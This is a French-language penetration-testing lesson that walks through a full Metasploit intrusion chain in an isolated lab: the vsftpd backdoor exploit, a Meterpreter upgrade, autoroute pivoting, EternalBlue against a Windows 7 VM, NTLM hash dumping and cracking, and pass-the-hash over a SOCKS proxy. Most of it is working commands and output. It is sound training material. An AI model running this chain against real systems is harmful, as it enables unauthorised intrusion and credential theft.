Aller au contenu principal

Metasploit — Démonstration guidée

Trois scénarios enchaînés. On tombe d'abord vsftpd sur 10.10.10.20, ensuite on pivote vers un réseau interne 192.168.100.0/24, et enfin on compromet une machine qui n'était même pas visible depuis Kali. C'est la démo qu'on veut vous voir refaire en entretien.

Lab isolé

Le pivot suppose une VM Metasploitable 2 avec deux interfaces réseau : une côté 10.10.10.0/24 et une côté 192.168.100.0/24. On configurera cela à l'étape 0. Aucun de ces réseaux ne doit pouvoir sortir sur Internet.

Ce que vous saurez faire après cette leçon

  • Compromettre 10.10.10.20 avec un exploit Metasploit sans lancer d'exploit à la main.
  • Faire tourner un pivot via autoroute + socks_proxy.
  • Scanner et exploiter une machine invisible depuis votre Kali.
  • Dumper les hashes NTLM d'une cible Windows en interne.
  • Automatiser tout avec un .rc reproductible.

Étape 0 — Préparer le lab

Sur 10.10.10.20 (Metasploitable 2), ajoutez une seconde interface réseau dans VirtualBox :

  • Adapter 1 : Host-onlyhostonly1 (10.10.10.0/24). IP : 10.10.10.20.
  • Adapter 2 : Host-onlyhostonly2 (192.168.100.0/24). IP : 192.168.100.20.

Sur ce même hostonly2, ajoutez une troisième VM — un Windows 7 vulnérable à EternalBlue avec IP 192.168.100.42. Cette VM n'est pas visible depuis Kali — c'est exactement ce qu'on veut.

Sur 10.10.10.20, activez le forwarding IP :

sudo sysctl -w net.ipv4.ip_forward=1

Depuis Kali, nmap 192.168.100.42 doit échouer (Network unreachable). Bien. Objectif atteint : Windows 7 est derrière notre première victime.


Étape 1 — Compromettre 10.10.10.20 avec Metasploit

Reprenez l'attaque vsftpd du module 5 — cette fois via Metasploit.

Créez ~/labs/semaine-08/vsftpd.rc :

workspace metasploit-demo
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run

Lancez :

msfconsole -q -r ~/labs/semaine-08/vsftpd.rc

Sortie :

[+] 10.10.10.20:21 - Backdoor service has been spawned, handling...
[+] 10.10.10.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

Bien. On est root. Mais on veut du Meterpreter pour le pivot. Upgradons :

sessions -u 1

Metasploit tente une conversion shell → meterpreter via linux/x64/meterpreter/reverse_tcp (nouveau job d'écoute) et un chargement Python/perl côté cible. Après quelques secondes :

[*] Command stager progress: 100.00% (760/760 bytes)
[*] Meterpreter session 2 opened (10.10.10.5:4433 -> 10.10.10.20:...)

Vérifiez :

sessions
Id  Type                 Information       Connection
-- ---- ----------- ----------
1 shell cmd/unix 10.10.10.5:37821 -> 10.10.10.20:6200
2 meterpreter x64/linux uid=0, root 10.10.10.5:4433 -> 10.10.10.20:35182

Bascule vers la session Meterpreter :

sessions -i 2
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server ...
Architecture : i686
Meterpreter : x64/linux

Vérification des interfaces :

meterpreter > ifconfig

Deux interfaces. Une sur 10.10.10.0/24, une sur 192.168.100.0/24. C'est notre pivot.


Étape 2 — Ouvrir le pivot avec autoroute

Dans la session Meterpreter :

meterpreter > run autoroute -s 192.168.100.0/24

Sortie :

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[*] Adding a route to 192.168.100.0/255.255.255.0...
[+] Added route to 192.168.100.0/255.255.255.0 via 10.10.10.20

Alternative (recommandée) :

meterpreter > background
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 2
msf6 > set SUBNET 192.168.100.0
msf6 > run

Vérification :

msf6 > route print

IPv4 Active Routing Table
=========================

Subnet Netmask Gateway
------ ------- -------
192.168.100.0 255.255.255.0 Session 2

Toute requête Metasploit vers 192.168.100.0/24 passera par la session 2. Le pivot est ouvert.


Étape 3 — Scanner le réseau interne depuis msfconsole

msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.100.0/24
msf6 > set PORTS 22,80,135,139,445,3389
msf6 > set THREADS 20
msf6 > run

Sortie (extrait) :

[+] 192.168.100.42:      - 192.168.100.42:135 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:139 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:445 - TCP OPEN
[+] 192.168.100.42: - 192.168.100.42:3389 - TCP OPEN

Une machine trouvée. C'est notre Windows 7.

Test rapide MS17-010 :

msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 > set RHOSTS 192.168.100.42
msf6 > run
[+] 192.168.100.42:445  - Host is likely VULNERABLE to MS17-010!

Étape 4 — Exploiter EternalBlue à travers le pivot

Piège classique : le payload standard reverse_tcp envoie sa connexion inverse directement à Kali. Mais la cible ne peut pas joindre Kali (pas de route retour). On doit utiliser un payload bind : la cible ouvre un port, on s'y connecte à travers le pivot.

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.100.42
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf6 > set LPORT 4455
msf6 > run

Sortie :

[*] Started bind TCP handler against 192.168.100.42:4455
[*] 192.168.100.42:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.100.42:445 - Host is likely VULNERABLE to MS17-010!
[*] 192.168.100.42:445 - Connecting to target for exploitation.
[+] 192.168.100.42:445 - Connection established for exploitation.
[*] 192.168.100.42:445 - Sending final SMBv1 buffers.
[*] Sending stage (200262 bytes) to 192.168.100.42
[*] Meterpreter session 3 opened

Meterpreter session 3. Sur une machine que Kali ne pouvait pas voir. Vérifiez :

sessions -i 3
meterpreter > sysinfo
Computer : WIN7-VICTIM
OS : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture : x64
Domain : WORKGROUP
Meterpreter : x64/windows

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM sur Windows 7, obtenu depuis Kali, en passant par un Linux compromis. C'est ce qu'on appelle un pivot réussi.


Étape 5 — Extraire les hashes

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
alice:1001:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::

Sauvegardez :

meterpreter > hashdump > /home/kali/labs/semaine-08/preuves/win7-hashes.txt

Sur Kali, cassons le hash administrateur avec hashcat :

hashcat -m 1000 preuves/win7-hashes.txt /usr/share/wordlists/rockyou.txt --username

Après quelques secondes :

8846f7eaee8fb117ad06bdd830b7586c:password

Le mot de passe administrateur du Windows 7 est password. Compromission totale.


Étape 6 — Un shell externe passant par le pivot (SOCKS)

Vous voulez utiliser des outils qui ne sont pas dans Metasploit — impacket-secretsdump, crackmapexec, votre curl. Ouvrez un proxy SOCKS :

msf6 > use auxiliary/server/socks_proxy
msf6 > set VERSION 5
msf6 > set SRVPORT 1080
msf6 > run -j

Éditez /etc/proxychains4.conf :

socks5  127.0.0.1 1080

Utilisez :

proxychains crackmapexec smb 192.168.100.42 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c

Sortie :

SMB  192.168.100.42  445  WIN7-VICTIM  [*] Windows 7...
SMB 192.168.100.42 445 WIN7-VICTIM [+] WORKGROUP\Administrator (Pwn3d!)

Vous êtes admin, avec un outil non-Metasploit, sur une machine invisible. C'est le pipeline complet d'une intrusion classique.


Étape 7 — Le tout en un .rc

Reproduisez tout dans demo-complete.rc :

workspace metasploit-demo
route flush

# Étape 1 - vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 10.10.10.20
set PAYLOAD cmd/unix/interact
run

# Note : à ce stade, la session 1 est cmd. La commande sessions -u
# n'est pas automatisable proprement dans un .rc — on la fait à la main
# une fois, puis on scripte la suite avec une nouvelle rc.

# Étape 2 - pivot
route add 192.168.100.0/24 2

# Étape 3 - EternalBlue via pivot
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.100.42
set PAYLOAD windows/x64/meterpreter/bind_tcp
set LPORT 4455
run

# Étape 4 - SOCKS proxy pour outils externes
use auxiliary/server/socks_proxy
set SRVPORT 1080
run -j

# Confirmation
sessions
route print

Vous relancerez tout d'un msfconsole -q -r demo-complete.rc après avoir revert les VMs à un snapshot propre.


Étape 8 — Consolider

Ouvrez ~/labs/semaine-08/rapport/pivot.md :

# Attaque avec pivot — Lab semaine 8

## 1. Situation
- Kali : 10.10.10.5
- Cible 1 (Linux, vsftpd) : 10.10.10.20
- Cible 2 (Windows 7, EternalBlue) : 192.168.100.42
- Non joignable depuis Kali (pas de route directe)

## 2. Chaîne d'exploitation
1. RCE vsftpd 2.3.4 → root sur 10.10.10.20
2. Upgrade shell → meterpreter
3. Autoroute 192.168.100.0/24 via session 2
4. Scan de ports sur 192.168.100.42 depuis msfconsole
5. Confirmation MS17-010 (VULNERABLE)
6. Exploit EternalBlue avec payload bind_tcp
7. SYSTEM sur Windows 7
8. hashdump → cassage hashcat → mot de passe admin "password"

## 3. Preuves
- preuves/vsftpd-session.log
- preuves/pivot-autoroute.log
- preuves/scan-192-portscan.log
- preuves/eternalblue-session.log
- preuves/win7-hashes.txt
- preuves/hashcat-cracked.txt
- preuves/socks-proxychains.log

## 4. Recommandations
1. Patcher les systèmes Windows Server 2008 et Windows 7 (fin de support).
2. Segmenter les réseaux : 10.10.10.0/24 ne devrait pas router vers 192.168.100.0/24
sans firewall à état.
3. Désactiver SMBv1 partout.
4. Politique de mot de passe : les hashes vieux comme "password" ne devraient pas exister.

Bilan

En 60 minutes :

  • Deux cibles compromises (Linux + Windows 7).
  • Un pivot réseau ouvert et scriptable.
  • Un proxy SOCKS qui permet d'utiliser tous les outils du monde à travers le pivot.
  • Un hash cassé → mot de passe admin en clair.
  • Tout scripté dans un .rc reproductible.

Ce workflow — RCE initiale → upgrade → pivot → SOCKS → propagation — est le squelette de 80 % des missions internes d'un pentest. Vous venez de le voir. Vous allez le refaire en atelier.